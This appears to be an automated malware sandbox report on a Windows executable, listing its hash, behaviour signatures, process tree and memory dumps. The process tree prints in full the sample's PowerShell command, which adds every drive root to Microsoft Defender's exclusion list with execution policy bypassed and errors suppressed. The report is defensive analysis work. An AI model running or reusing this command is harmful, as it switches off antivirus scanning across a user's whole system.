Analysis
- max time kernel
149s - max time network
136s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
10/08/2026, 15:05
General
- Target fflagsfisoon (1).exe
- Size 57KB
- Sample260810-sgcm4aha26
- SHA256 0b4401896cff9cdc75255d19ca2ae0de1e33bd590272118a9333fea56eb49f3a
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs
Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.
- Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 43 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\fflagsfisoon (1).exe"C:\Users\Admin\AppData\Local\Temp\fflagsfisoon (1).exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"2⤵
- Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
- Hide Artifacts: Ignore Process Interrupts
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\chcp.comchcp 650013⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/2304-1-0x00007FF964A4F000-0x00007FF964A50000-memory.dmp
memory/2304-2-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/2304-3-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/2304-4-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/2304-8-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/2304-9-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/2304-5-0x0000024E7F3F0000-0x0000024E7F412000-memory.dmp
memory/2304-10-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/2304-11-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/2304-12-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/2304-13-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/2304-17-0x0000024E7F6A0000-0x0000024E7F752000-memory.dmp
memory/2304-16-0x0000024E7F680000-0x0000024E7F69E000-memory.dmp
memory/2304-18-0x0000024E7F670000-0x0000024E7F67A000-memory.dmp
memory/2304-20-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/2304-21-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/2960-22-0x00000003979D0000-0x0000000397A2A000-memory.dmp
memory/2960-33-0x00007FF760D10000-0x00007FF760D29000-memory.dmp
memory/2960-34-0x00007FF760D10000-0x00007FF760D29000-memory.dmp